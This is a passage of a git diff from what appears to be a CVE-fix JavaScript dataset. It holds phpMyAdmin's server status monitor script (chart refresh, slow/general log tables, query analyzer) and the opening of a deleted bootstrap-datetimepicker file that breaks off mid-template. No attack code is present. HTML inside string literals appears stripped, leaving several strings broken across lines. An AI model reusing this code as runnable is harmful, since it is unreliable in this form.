    '; // x value i.e. time var timeValue = str.split(",")[0]; var seriesValue; tooltipHtml += 'Time: ' + timeValue; tooltipHtml += ''; // Add y values to the tooltip per series for (j in plot.series) { // get y value if present if (plot.series[j].data.length > pointIndex) { seriesValue = plot.series[j].data[pointIndex][1]; } else { return; } var seriesLabel = plot.series[j].label; var seriesColor = plot.series[j].color; // format y value if (plot.series[0]._yaxis.tickOptions.formatter) { // using formatter function seriesValue = plot.series[0]._yaxis.tickOptions.formatter('%s', seriesValue); } else if (plot.series[0]._yaxis.tickOptions.formatString) { // using format string seriesValue = $.sprintf(plot.series[0]._yaxis.tickOptions.formatString, seriesValue); } tooltipHtml += '
    ' + seriesLabel + ': ' + seriesValue + ''; } tooltipHtml += '
    '; return tooltipHtml; } }; } chartObj.chart = $.jqplot('gridchart' + runtime.chartAI, series, settings); // remove [0,0] after plotting for (i in chartObj.chart.series) { chartObj.chart.series[i].data.shift(); } var $legend = $('
    ').css('padding', '0.5em'); for (i in chartObj.chart.series) { $legend.append( $('
    ').append( $('
    ').css({ width: '1em', height: '1em', background: chartObj.chart.seriesColors[i] }).addClass('floatleft') ).append( $('
    ').text( chartObj.chart.series[i].label ).addClass('floatleft') ).append( $('
    ') ).addClass('floatleft') ); } $('#gridchart' + runtime.chartAI) .parent() .append($legend); if (initialize !== true) { runtime.charts['c' + runtime.chartAI] = chartObj; buildRequiredDataList(); } // time span selection $('#gridchart' + runtime.chartAI).bind('jqplotMouseDown', function (ev, gridpos, datapos, neighbor, plot) { drawTimeSpan = true; selectionTimeDiff.push(datapos.xaxis); if ($('#selection_box').length) { $('#selection_box').remove(); } selectionBox = $('
    '); $(document.body).append(selectionBox); selectionStartX = ev.pageX; selectionStartY = ev.pageY; selectionBox .attr({id: 'selection_box'}) .css({ top: selectionStartY - gridpos.y, left: selectionStartX }) .fadeIn(); }); $('#gridchart' + runtime.chartAI).bind('jqplotMouseUp', function (ev, gridpos, datapos, neighbor, plot) { if (! drawTimeSpan || editMode) { return; } selectionTimeDiff.push(datapos.xaxis); if (selectionTimeDiff[1] <= selectionTimeDiff[0]) { selectionTimeDiff = []; return; } //get date from timestamp var min = new Date(Math.ceil(selectionTimeDiff[0])); var max = new Date(Math.ceil(selectionTimeDiff[1])); PMA_getLogAnalyseDialog(min, max); selectionTimeDiff = []; drawTimeSpan = false; }); $('#gridchart' + runtime.chartAI).bind('jqplotMouseMove', function (ev, gridpos, datapos, neighbor, plot) { if (! drawTimeSpan || editMode) { return; } if (selectionStartX !== undefined) { $('#selection_box') .css({ width: Math.ceil(ev.pageX - selectionStartX) }) .fadeIn(); } }); $('#gridchart' + runtime.chartAI).bind('jqplotMouseLeave', function (ev, gridpos, datapos, neighbor, plot) { drawTimeSpan = false; }); $(document.body).mouseup(function () { if ($('#selection_box').length) { selectionBox.remove(); } }); // Edit, Print icon only in edit mode $('#chartGrid div svg').find('*[zIndex=20], *[zIndex=21], *[zIndex=19]').toggle(editMode); runtime.chartAI++; } function PMA_getLogAnalyseDialog(min, max) { var $dateStart = $('#logAnalyseDialog input[name="dateStart"]'); var $dateEnd = $('#logAnalyseDialog input[name="dateEnd"]'); $dateStart.prop("readonly", true); $dateEnd.prop("readonly", true); var dlgBtns = { }; dlgBtns[PMA_messages.strFromSlowLog] = function () { loadLog('slow', min, max); $(this).dialog("close"); }; dlgBtns[PMA_messages.strFromGeneralLog] = function () { loadLog('general', min, max); $(this).dialog("close"); }; $('#logAnalyseDialog').dialog({ width: 'auto', height: 'auto', buttons: dlgBtns }); PMA_addDatepicker($dateStart, 'datetime', { showMillisec: false, showMicrosec: false, timeFormat: 'HH:mm:ss' }); PMA_addDatepicker($dateEnd, 'datetime', { showMillisec: false, showMicrosec: false, timeFormat: 'HH:mm:ss' }); $('#logAnalyseDialog input[name="dateStart"]').datepicker('setDate', min); $('#logAnalyseDialog input[name="dateEnd"]').datepicker('setDate', max); } function loadLog(type, min, max) { var dateStart = Date.parse($('#logAnalyseDialog input[name="dateStart"]').datepicker('getDate')) || min; var dateEnd = Date.parse($('#logAnalyseDialog input[name="dateEnd"]').datepicker('getDate')) || max; loadLogStatistics({ src: type, start: dateStart, end: dateEnd, removeVariables: $('#removeVariables').prop('checked'), limitTypes: $('#limitTypes').prop('checked') }); } /* Called in regular intervalls, this function updates the values of each chart in the grid */ function refreshChartGrid() { /* Send to server */ runtime.refreshRequest = $.post('server_status_monitor.php?' + PMA_commonParams.get('common_query'), { ajax_request: true, chart_data: 1, type: 'chartgrid', requiredData: JSON.stringify(runtime.dataList) }, function (data) { var chartData; if (data.success === true) { chartData = data.message; } else { return serverResponseError(); } var value, i = 0; var diff; var total; /* Update values in each graph */ $.each(runtime.charts, function (orderKey, elem) { var key = elem.chartID; // If newly added chart, we have no data for it yet if (! chartData[key]) { return; } // Draw all series total = 0; for (var j = 0; j < elem.nodes.length; j++) { // Update x-axis if (i === 0 && j === 0) { if (oldChartData === null) { diff = chartData.x - runtime.xmax; } else { diff = parseInt(chartData.x - oldChartData.x, 10); } runtime.xmin += diff; runtime.xmax += diff; } //elem.chart.xAxis[0].setExtremes(runtime.xmin, runtime.xmax, false); /* Calculate y value */ // If transform function given, use it if (elem.nodes[j].transformFn) { value = chartValueTransform( elem.nodes[j].transformFn, chartData[key][j], // Check if first iteration (oldChartData==null), or if newly added chart oldChartData[key]==null ( oldChartData === null || oldChartData[key] === null || oldChartData[key] === undefined ? null : oldChartData[key][j] ) ); // Otherwise use original value and apply differential and divisor if given, // in this case we have only one data point per series - located at chartData[key][j][0] } else { value = parseFloat(chartData[key][j][0].value); if (elem.nodes[j].display == 'differential') { if (oldChartData === null || oldChartData[key] === null || oldChartData[key] === undefined ) { continue; } value -= oldChartData[key][j][0].value; } if (elem.nodes[j].valueDivisor) { value = value / elem.nodes[j].valueDivisor; } } // Set y value, if defined if (value !== undefined) { elem.chart.series[j].data.push([chartData.x, value]); if (value > elem.maxYLabel) { elem.maxYLabel = value; } else if (elem.maxYLabel === 0) { elem.maxYLabel = 0.5; } // free old data point values and update maxYLabel if (elem.chart.series[j].data.length > runtime.gridMaxPoints && elem.chart.series[j].data[0][0] < runtime.xmin ) { // check if the next freeable point is highest if (elem.maxYLabel <= elem.chart.series[j].data[0][1]) { elem.chart.series[j].data.splice(0, elem.chart.series[j].data.length - runtime.gridMaxPoints); elem.maxYLabel = getMaxYLabel(elem.chart.series[j].data); } else { elem.chart.series[j].data.splice(0, elem.chart.series[j].data.length - runtime.gridMaxPoints); } } if (elem.title === PMA_messages.strSystemMemory || elem.title === PMA_messages.strSystemSwap ) { total += value; } } } // update chart options // keep ticks number/positioning consistent while refreshrate changes var tickInterval = (runtime.xmax - runtime.xmin) / 5; elem.chart['axes']['xaxis'].ticks = [(runtime.xmax - tickInterval * 4), (runtime.xmax - tickInterval * 3), (runtime.xmax - tickInterval * 2), (runtime.xmax - tickInterval), runtime.xmax]; if (elem.title !== PMA_messages.strSystemCPUUsage && elem.title !== PMA_messages.strQueryCacheEfficiency && elem.title !== PMA_messages.strSystemMemory && elem.title !== PMA_messages.strSystemSwap ) { elem.chart['axes']['yaxis']['max'] = Math.ceil(elem.maxYLabel * 1.1); elem.chart['axes']['yaxis']['tickInterval'] = Math.ceil(elem.maxYLabel * 1.1 / 5); } else if (elem.title === PMA_messages.strSystemMemory || elem.title === PMA_messages.strSystemSwap ) { elem.chart['axes']['yaxis']['max'] = Math.ceil(total * 1.1 / 100) * 100; elem.chart['axes']['yaxis']['tickInterval'] = Math.ceil(total * 1.1 / 5); } i++; if (runtime.redrawCharts) { elem.chart.replot(); } }); oldChartData = chartData; runtime.refreshTimeout = setTimeout(refreshChartGrid, monitorSettings.gridRefresh); }); } /* Function to get highest plotted point's y label, to scale the chart, * TODO: make jqplot's autoscale:true work here */ function getMaxYLabel(dataValues) { var maxY = dataValues[0][1]; $.each(dataValues, function (k, v) { maxY = (v[1] > maxY) ? v[1] : maxY; }); return maxY; } /* Function that supplies special value transform functions for chart values */ function chartValueTransform(name, cur, prev) { switch (name) { case 'cpu-linux': if (prev === null) { return undefined; } // cur and prev are datapoint arrays, but containing // only 1 element for cpu-linux cur = cur[0]; prev = prev[0]; var diff_total = cur.busy + cur.idle - (prev.busy + prev.idle); var diff_idle = cur.idle - prev.idle; return 100 * (diff_total - diff_idle) / diff_total; // Query cache efficiency (%) case 'qce': if (prev === null) { return undefined; } // cur[0].value is Qcache_hits, cur[1].value is Com_select var diffQHits = cur[0].value - prev[0].value; // No NaN please :-) if (cur[1].value - prev[1].value === 0) { return 0; } return diffQHits / (cur[1].value - prev[1].value + diffQHits) * 100; // Query cache usage (%) case 'qcu': if (cur[1].value === 0) { return 0; } // cur[0].value is Qcache_free_memory, cur[1].value is query_cache_size return 100 - cur[0].value / cur[1].value * 100; } return undefined; } /* Build list of nodes that need to be retrieved from server. * It creates something like a stripped down version of the runtime.charts object. */ function buildRequiredDataList() { runtime.dataList = {}; // Store an own id, because the property name is subject of reordering, // thus destroying our mapping with runtime.charts <=> runtime.dataList var chartID = 0; $.each(runtime.charts, function (key, chart) { runtime.dataList[chartID] = []; for (var i = 0, l = chart.nodes.length; i < l; i++) { runtime.dataList[chartID][i] = chart.nodes[i].dataPoints; } runtime.charts[key].chartID = chartID; chartID++; }); } /* Loads the log table data, generates the table and handles the filters */ function loadLogStatistics(opts) { var tableStr = ''; var logRequest = null; if (! opts.removeVariables) { opts.removeVariables = false; } if (! opts.limitTypes) { opts.limitTypes = false; } $('#emptyDialog').dialog({title: PMA_messages.strAnalysingLogsTitle}); $('#emptyDialog').html(PMA_messages.strAnalysingLogs + ' '); var dlgBtns = {}; dlgBtns[PMA_messages.strCancelRequest] = function () { if (logRequest !== null) { logRequest.abort(); } $(this).dialog("close"); }; $('#emptyDialog').dialog({ width: 'auto', height: 'auto', buttons: dlgBtns }); logRequest = $.get('server_status_monitor.php?' + PMA_commonParams.get('common_query'), { ajax_request: true, log_data: 1, type: opts.src, time_start: Math.round(opts.start / 1000), time_end: Math.round(opts.end / 1000), removeVariables: opts.removeVariables, limitTypes: opts.limitTypes }, function (data) { var logData; var dlgBtns = {}; if (data.success === true) { logData = data.message; } else { return serverResponseError(); } if (logData.rows.length !== 0) { runtime.logDataCols = buildLogTable(logData); /* Show some stats in the dialog */ $('#emptyDialog').dialog({title: PMA_messages.strLoadingLogs}); $('#emptyDialog').html('

    ' + PMA_messages.strLogDataLoaded + '

    '); $.each(logData.sum, function (key, value) { key = key.charAt(0).toUpperCase() + key.slice(1).toLowerCase(); if (key == 'Total') { key = '' + key + ''; } $('#emptyDialog').append(key + ': ' + value + '
    '); }); /* Add filter options if more than a bunch of rows there to filter */ if (logData.numRows > 12) { $('#logTable').prepend( '
    ' + ' ' + PMA_messages.strFiltersForLogTable + '' + '
    ' + ' ' + ' ' + '
    ' + ((logData.numRows > 250) ? '
    ' : '') + '
    ' + ' ' + ' ' + ' ' ); $('#logTable #noWHEREData').change(function () { filterQueries(true); }); if (logData.numRows > 250) { $('#logTable #startFilterQueryText').click(filterQueries); } else { $('#logTable #filterQueryText').keyup(filterQueries); } } dlgBtns[PMA_messages.strJumpToTable] = function () { $(this).dialog("close"); $(document).scrollTop($('#logTable').offset().top); }; $('#emptyDialog').dialog("option", "buttons", dlgBtns); } else { $('#emptyDialog').dialog({title: PMA_messages.strNoDataFoundTitle}); $('#emptyDialog').html('

    ' + PMA_messages.strNoDataFound + '

    '); dlgBtns[PMA_messages.strClose] = function () { $(this).dialog("close"); }; $('#emptyDialog').dialog("option", "buttons", dlgBtns); } } ); /* Handles the actions performed when the user uses any of the * log table filters which are the filter by name and grouping * with ignoring data in WHERE clauses * * @param boolean Should be true when the users enabled or disabled * to group queries ignoring data in WHERE clauses */ function filterQueries(varFilterChange) { var odd_row = false, cell, textFilter; var val = $('#logTable #filterQueryText').val(); if (val.length === 0) { textFilter = null; } else { textFilter = new RegExp(val, 'i'); } var rowSum = 0, totalSum = 0, i = 0, q; var noVars = $('#logTable #noWHEREData').prop('checked'); var equalsFilter = /([^=]+)=(\d+|((\'|"|).*?[^\\])\4((\s+)|$))/gi; var functionFilter = /([a-z0-9_]+)\(.+?\)/gi; var filteredQueries = {}, filteredQueriesLines = {}; var hide = false, rowData; var queryColumnName = runtime.logDataCols[runtime.logDataCols.length - 2]; var sumColumnName = runtime.logDataCols[runtime.logDataCols.length - 1]; var isSlowLog = opts.src == 'slow'; var columnSums = {}; // For the slow log we have to count many columns (query_time, lock_time, rows_examined, rows_sent, etc.) var countRow = function (query, row) { var cells = row.match(/(.*?)<\/td>/gi); if (!columnSums[query]) { columnSums[query] = [0, 0, 0, 0]; } // lock_time and query_time and displayed in timespan format columnSums[query][0] += timeToSec(cells[2].replace(/(|<\/td>)/gi, '')); columnSums[query][1] += timeToSec(cells[3].replace(/(|<\/td>)/gi, '')); // rows_examind and rows_sent are just numbers columnSums[query][2] += parseInt(cells[4].replace(/(|<\/td>)/gi, ''), 10); columnSums[query][3] += parseInt(cells[5].replace(/(|<\/td>)/gi, ''), 10); }; // We just assume the sql text is always in the second last column, and that the total count is right of it $('#logTable table tbody tr td:nth-child(' + (runtime.logDataCols.length - 1) + ')').each(function () { var $t = $(this); // If query is a SELECT and user enabled or disabled to group // queries ignoring data in where statements, we // need to re-calculate the sums of each row if (varFilterChange && $t.html().match(/^SELECT/i)) { if (noVars) { // Group on => Sum up identical columns, and hide all but 1 q = $t.text().replace(equalsFilter, '$1=...$6').trim(); q = q.replace(functionFilter, ' $1(...)'); // Js does not specify a limit on property name length, // so we can abuse it as index :-) if (filteredQueries[q]) { filteredQueries[q] += parseInt($t.next().text(), 10); totalSum += parseInt($t.next().text(), 10); hide = true; } else { filteredQueries[q] = parseInt($t.next().text(), 10); filteredQueriesLines[q] = i; $t.text(q); } if (isSlowLog) { countRow(q, $t.parent().html()); } } else { // Group off: Restore original columns rowData = $t.parent().data('query'); // Restore SQL text $t.text(rowData[queryColumnName]); // Restore total count $t.next().text(rowData[sumColumnName]); // Restore slow log columns if (isSlowLog) { $t.parent().children('td:nth-child(3)').text(rowData['query_time']); $t.parent().children('td:nth-child(4)').text(rowData['lock_time']); $t.parent().children('td:nth-child(5)').text(rowData['rows_sent']); $t.parent().children('td:nth-child(6)').text(rowData['rows_examined']); } } } // If not required to be hidden, do we need // to hide because of a not matching text filter? if (! hide && (textFilter !== null && ! textFilter.exec($t.text()))) { hide = true; } // Now display or hide this column if (hide) { $t.parent().css('display', 'none'); } else { totalSum += parseInt($t.next().text(), 10); rowSum++; odd_row = ! odd_row; $t.parent().css('display', ''); if (odd_row) { $t.parent().addClass('odd'); $t.parent().removeClass('even'); } else { $t.parent().addClass('even'); $t.parent().removeClass('odd'); } } hide = false; i++; }); // We finished summarizing counts => Update count values of all grouped entries if (varFilterChange) { if (noVars) { var numCol, row, $table = $('#logTable table tbody'); $.each(filteredQueriesLines, function (key, value) { if (filteredQueries[key] <= 1) { return; } row = $table.children('tr:nth-child(' + (value + 1) + ')'); numCol = row.children(':nth-child(' + (runtime.logDataCols.length) + ')'); numCol.text(filteredQueries[key]); if (isSlowLog) { row.children('td:nth-child(3)').text(secToTime(columnSums[key][0])); row.children('td:nth-child(4)').text(secToTime(columnSums[key][1])); row.children('td:nth-child(5)').text(columnSums[key][2]); row.children('td:nth-child(6)').text(columnSums[key][3]); } }); } $('#logTable table').trigger("update"); setTimeout(function () { $('#logTable table').trigger('sorton', [[[runtime.logDataCols.length - 1, 1]]]); }, 0); } // Display some stats at the bottom of the table $('#logTable table tfoot tr') .html('' + PMA_messages.strSumRows + ' ' + rowSum + '' + PMA_messages.strTotal + '' + totalSum + ''); } } /* Turns a timespan (12:12:12) into a number */ function timeToSec(timeStr) { var time = timeStr.split(':'); return (parseInt(time[0], 10) * 3600) + (parseInt(time[1], 10) * 60) + parseInt(time[2], 10); } /* Turns a number into a timespan (100 into 00:01:40) */ function secToTime(timeInt) { var hours = Math.floor(timeInt / 3600); timeInt -= hours * 3600; var minutes = Math.floor(timeInt / 60); timeInt -= minutes * 60; if (hours < 10) { hours = '0' + hours; } if (minutes < 10) { minutes = '0' + minutes; } if (timeInt < 10) { timeInt = '0' + timeInt; } return hours + ':' + minutes + ':' + timeInt; } /* Constructs the log table out of the retrieved server data */ function buildLogTable(data) { var rows = data.rows; var cols = []; var $table = $('
    '); var $tBody, $tRow, $tCell; $('#logTable').html($table); var formatValue = function (name, value) { if (name == 'user_host') { return value.replace(/(\[.*?\])+/g, ''); } return value; }; for (var i = 0, l = rows.length; i < l; i++) { if (i === 0) { $.each(rows[0], function (key, value) { cols.push(key); }); $table.append('' + '' + cols.join('') + '' + '' ); $table.append($tBody = $('')); } $tBody.append($tRow = $('')); var cl = ''; for (var j = 0, ll = cols.length; j < ll; j++) { // Assuming the query column is the second last if (j == cols.length - 2 && rows[i][cols[j]].match(/^SELECT/i)) { $tRow.append($tCell = $('' + formatValue(cols[j], rows[i][cols[j]]) + '')); $tCell.click(openQueryAnalyzer); } else { $tRow.append('' + formatValue(cols[j], rows[i][cols[j]]) + ''); } $tRow.data('query', rows[i]); } } $table.append('' + '' + PMA_messages.strSumRows + ' ' + data.numRows + '' + PMA_messages.strTotal + '' + data.sum.TOTAL + ''); // Append a tooltip to the count column, if there exist one if ($('#logTable th:last').html() == '#') { $('#logTable th:last').append(' ' + PMA_getImage('b_docs.png', '', {'class': 'qroupedQueryInfoIcon'})); var tooltipContent = PMA_messages.strCountColumnExplanation; if (groupInserts) { tooltipContent += '

    ' + PMA_messages.strMoreCountColumnExplanation + '

    '; } PMA_tooltip( $('img.qroupedQueryInfoIcon'), 'img', tooltipContent ); } $('#logTable table').tablesorter({ sortList: [[cols.length - 1, 1]], widgets: ['fast-zebra'] }); $('#logTable table thead th') .append(''); return cols; } /* Opens the query analyzer dialog */ function openQueryAnalyzer() { var rowData = $(this).parent().data('query'); var query = rowData.argument || rowData.sql_text; if (codemirror_editor) { //TODO: somehow PMA_SQLPrettyPrint messes up the query, needs be fixed //query = PMA_SQLPrettyPrint(query); codemirror_editor.setValue(query); // Codemirror is bugged, it doesn't refresh properly sometimes. // Following lines seem to fix that setTimeout(function () { codemirror_editor.refresh(); }, 50); } else { $('#sqlquery').val(query); } var profilingChart = null; var dlgBtns = {}; dlgBtns[PMA_messages.strAnalyzeQuery] = function () { loadQueryAnalysis(rowData); }; dlgBtns[PMA_messages.strClose] = function () { $(this).dialog('close'); }; $('#queryAnalyzerDialog').dialog({ width: 'auto', height: 'auto', resizable: false, buttons: dlgBtns, close: function () { if (profilingChart !== null) { profilingChart.destroy(); } $('#queryAnalyzerDialog div.placeHolder').html(''); if (codemirror_editor) { codemirror_editor.setValue(''); } else { $('#sqlquery').val(''); } } }); } /* Loads and displays the analyzed query data */ function loadQueryAnalysis(rowData) { var db = rowData.db || ''; $('#queryAnalyzerDialog div.placeHolder').html( PMA_messages.strAnalyzing + ' '); $.post('server_status_monitor.php?' + PMA_commonParams.get('common_query'), { ajax_request: true, query_analyzer: true, query: codemirror_editor ? codemirror_editor.getValue() : $('#sqlquery').val(), database: db }, function (data) { var i; if (data.success === true) { data = data.message; } if (data.error) { if (data.error.indexOf('1146') != -1 || data.error.indexOf('1046') != -1) { data.error = PMA_messages['strServerLogError']; } $('#queryAnalyzerDialog div.placeHolder').html('
    ' + data.error + '
    '); return; } var totalTime = 0; // Float sux, I'll use table :( $('#queryAnalyzerDialog div.placeHolder') .html('
    '); var explain = '' + PMA_messages.strExplainOutput + ' ' + $('#explain_docu').html(); if (data.explain.length > 1) { explain += ' ('; for (i = 0; i < data.explain.length; i++) { if (i > 0) { explain += ', '; } explain += '' + i + ''; } explain += ')'; } explain += '

    '; for (i = 0, l = data.explain.length; i < l; i++) { explain += '
    0 ? 'style="display:none;"' : '') + '>'; $.each(data.explain[i], function (key, value) { value = (value === null) ? 'null' : value; if (key == 'type' && value.toLowerCase() == 'all') { value = '' + value + ''; } if (key == 'Extra') { value = value.replace(/(using (temporary|filesort))/gi, '$1'); } explain += key + ': ' + value + '
    '; }); explain += '
    '; } explain += '

    ' + PMA_messages.strAffectedRows + ' ' + data.affectedRows; $('#queryAnalyzerDialog div.placeHolder td.explain').append(explain); $('#queryAnalyzerDialog div.placeHolder a[href*="#showExplain"]').click(function () { var id = $(this).attr('href').split('-')[1]; $(this).parent().find('div[class*="explain"]').hide(); $(this).parent().find('div[class*="explain-' + id + '"]').show(); }); if (data.profiling) { var chartData = []; var numberTable = ''; var duration; var otherTime = 0; for (i = 0, l = data.profiling.length; i < l; i++) { duration = parseFloat(data.profiling[i].duration); totalTime += duration; numberTable += ''; } // Only put those values in the pie which are > 2% for (i = 0, l = data.profiling.length; i < l; i++) { duration = parseFloat(data.profiling[i].duration); if (duration / totalTime > 0.02) { chartData.push([PMA_prettyProfilingNum(duration, 2) + ' ' + data.profiling[i].state, duration]); } else { otherTime += duration; } } if (otherTime > 0) { chartData.push([PMA_prettyProfilingNum(otherTime, 2) + ' ' + PMA_messages.strOther, otherTime]); } numberTable += ''; numberTable += '
    ' + PMA_messages.strStatus + '' + PMA_messages.strTime + '
    ' + data.profiling[i].state + ' ' + PMA_prettyProfilingNum(duration, 2) + '
    ' + PMA_messages.strTotalTime + '' + PMA_prettyProfilingNum(totalTime, 2) + '
    '; $('#queryAnalyzerDialog div.placeHolder td.chart').append( '' + PMA_messages.strProfilingResults + ' ' + $('#profiling_docu').html() + ' ' + '(' + PMA_messages.strTable + ', ' + PMA_messages.strChart + ')
    ' + numberTable + '

    '); $('#queryAnalyzerDialog div.placeHolder a[href="#showNums"]').click(function () { $('#queryAnalyzerDialog #queryProfiling').hide(); $('#queryAnalyzerDialog table.queryNums').show(); return false; }); $('#queryAnalyzerDialog div.placeHolder a[href="#showChart"]').click(function () { $('#queryAnalyzerDialog #queryProfiling').show(); $('#queryAnalyzerDialog table.queryNums').hide(); return false; }); profilingChart = PMA_createProfilingChartJqplot( 'queryProfiling', chartData ); //$('#queryProfiling').resizable(); } }); } /* Saves the monitor to localstorage */ function saveMonitor() { var gridCopy = {}; $.each(runtime.charts, function (key, elem) { gridCopy[key] = {}; gridCopy[key].nodes = elem.nodes; gridCopy[key].settings = elem.settings; gridCopy[key].title = elem.title; gridCopy[key].series = elem.series; gridCopy[key].maxYLabel = elem.maxYLabel; }); if (window.localStorage) { window.localStorage['monitorCharts'] = JSON.stringify(gridCopy); window.localStorage['monitorSettings'] = JSON.stringify(monitorSettings); window.localStorage['monitorVersion'] = monitorProtocolVersion; } $('a[href="#clearMonitorConfig"]').show(); }});// Run the monitor once loadedAJAX.registerOnload('server_status_monitor.js', function () { $('a[href="#pauseCharts"]').trigger('click');});function serverResponseError() { var btns = {}; btns[PMA_messages.strReloadPage] = function () { window.location.reload(); }; $('#emptyDialog').dialog({title: PMA_messages.strRefreshFailed}); $('#emptyDialog').html( PMA_getImage('s_attention.png') + PMA_messages.strInvalidResponseExplanation ); $('#emptyDialog').dialog({ buttons: btns });}/* Destroys all monitor related resources */function destroyGrid() { if (runtime.charts) { $.each(runtime.charts, function (key, value) { try { value.chart.destroy(); } catch (err) {} }); } try { runtime.refreshRequest.abort(); } catch (err) {} try { clearTimeout(runtime.refreshTimeout); } catch (err) {} $('#chartGrid').html(''); runtime.charts = null; runtime.chartAI = 0; monitorSettings = null; //TODO:this not global variable} \ No newline at end of file diff --git a/data/javascript/jscvefixed18.txt b/data/javascript/jscvefixed18.txt deleted file mode 100644 index 8043b38b88f590f1bd08197f3389b3378ee0ea6d..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed18.txt +++ /dev/null @@ -1 +0,0 @@ -/*! version : 4.17.37 ========================================================= bootstrap-datetimejs https://github.com/Eonasdan/bootstrap-datetimepicker Copyright (c) 2015 Jonathan Peterson ========================================================= *//* The MIT License (MIT) Copyright (c) 2015 Jonathan Peterson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *//*global define:false *//*global exports:false *//*global require:false *//*global jQuery:false *//*global moment:false */(function (factory) { 'use strict'; if (typeof define === 'function' && define.amd) { // AMD is used - Register as an anonymous module. define(['jquery', 'moment'], factory); } else if (typeof exports === 'object') { factory(require('jquery'), require('moment')); } else { // Neither AMD nor CommonJS used. Use global variables. if (typeof jQuery === 'undefined') { throw 'bootstrap-datetimepicker requires jQuery to be loaded first'; } if (typeof moment === 'undefined') { throw 'bootstrap-datetimepicker requires Moment.js to be loaded first'; } factory(jQuery, moment); }}(function ($, moment) { 'use strict'; if (!moment) { throw new Error('bootstrap-datetimepicker requires Moment.js to be loaded first'); } var dateTimePicker = function (element, options) { var picker = {}, date, viewDate, unset = true, input, component = false, widget = false, use24Hours, minViewModeNumber = 0, actualFormat, parseFormats, currentViewMode, datePickerModes = [ { clsName: 'days', navFnc: 'M', navStep: 1 }, { clsName: 'months', navFnc: 'y', navStep: 1 }, { clsName: 'years', navFnc: 'y', navStep: 10 }, { clsName: 'decades', navFnc: 'y', navStep: 100 } ], viewModes = ['days', 'months', 'years', 'decades'], verticalModes = ['top', 'bottom', 'auto'], horizontalModes = ['left', 'right', 'auto'], toolbarPlacements = ['default', 'top', 'bottom'], keyMap = { 'up': 38, 38: 'up', 'down': 40, 40: 'down', 'left': 37, 37: 'left', 'right': 39, 39: 'right', 'tab': 9, 9: 'tab', 'escape': 27, 27: 'escape', 'enter': 13, 13: 'enter', 'pageUp': 33, 33: 'pageUp', 'pageDown': 34, 34: 'pageDown', 'shift': 16, 16: 'shift', 'control': 17, 17: 'control', 'space': 32, 32: 'space', 't': 84, 84: 't', 'delete': 46, 46: 'delete' }, keyState = {}, /******************************************************************************** * * Private functions * ********************************************************************************/ getMoment = function (d) { var tzEnabled = false, returnMoment, currentZoneOffset, incomingZoneOffset, timeZoneIndicator, dateWithTimeZoneInfo; if (moment.tz !== undefined && options.timeZone !== undefined && options.timeZone !== null && options.timeZone !== '') { tzEnabled = true; } if (d === undefined || d === null) { if (tzEnabled) { returnMoment = moment().tz(options.timeZone).startOf('d'); } else { returnMoment = moment().startOf('d'); } } else { if (tzEnabled) { currentZoneOffset = moment().tz(options.timeZone).utcOffset(); incomingZoneOffset = moment(d, parseFormats, options.useStrict).utcOffset(); if (incomingZoneOffset !== currentZoneOffset) { timeZoneIndicator = moment().tz(options.timeZone).format('Z'); dateWithTimeZoneInfo = moment(d, parseFormats, options.useStrict).format('YYYY-MM-DD[T]HH:mm:ss') + timeZoneIndicator; returnMoment = moment(dateWithTimeZoneInfo, parseFormats, options.useStrict).tz(options.timeZone); } else { returnMoment = moment(d, parseFormats, options.useStrict).tz(options.timeZone); } } else { returnMoment = moment(d, parseFormats, options.useStrict); } } return returnMoment; }, isEnabled = function (granularity) { if (typeof granularity !== 'string' || granularity.length > 1) { throw new TypeError('isEnabled expects a single character string parameter'); } switch (granularity) { case 'y': return actualFormat.indexOf('Y') !== -1; case 'M': return actualFormat.indexOf('M') !== -1; case 'd': return actualFormat.toLowerCase().indexOf('d') !== -1; case 'h': case 'H': return actualFormat.toLowerCase().indexOf('h') !== -1; case 'm': return actualFormat.indexOf('m') !== -1; case 's': return actualFormat.indexOf('s') !== -1; default: return false; } }, hasTime = function () { return (isEnabled('h') || isEnabled('m') || isEnabled('s')); }, hasDate = function () { return (isEnabled('y') || isEnabled('M') || isEnabled('d')); }, getDatePickerTemplate = function () { var headTemplate = $('') .append($('') .append($('').addClass('prev').attr('data-action', 'previous') .append($('').addClass(options.icons.previous)) ) .append($('').addClass('picker-switch').attr('data-action', 'pickerSwitch').attr('colspan', (options.calendarWeeks ? '6' : '5'))) .append($('').addClass('next').attr('data-action', 'next') .append($('').addClass(options.icons.next)) ) ), contTemplate = $('') .append($('') .append($('').attr('colspan', (options.calendarWeeks ? '8' : '7'))) ); return [ $('
    ').addClass('datepicker-days') .append($('').addClass('table-condensed') .append(headTemplate) .append($('')) ), $('
    ').addClass('datepicker-months') .append($('
    ').addClass('table-condensed') .append(headTemplate.clone()) .append(contTemplate.clone()) ), $('
    ').addClass('datepicker-years') .append($('
    ').addClass('table-condensed') .append(headTemplate.clone()) .append(contTemplate.clone()) ), $('
    ').addClass('datepicker-decades') .append($('
    ').addClass('table-condensed') .append(headTemplate.clone()) .append(contTemplate.clone()) ) ]; }, getTimePickerMainTemplate = function () { var topRow = $(''), middleRow = $(''), bottomRow = $(''); if (isEnabled('h')) { topRow.append($('
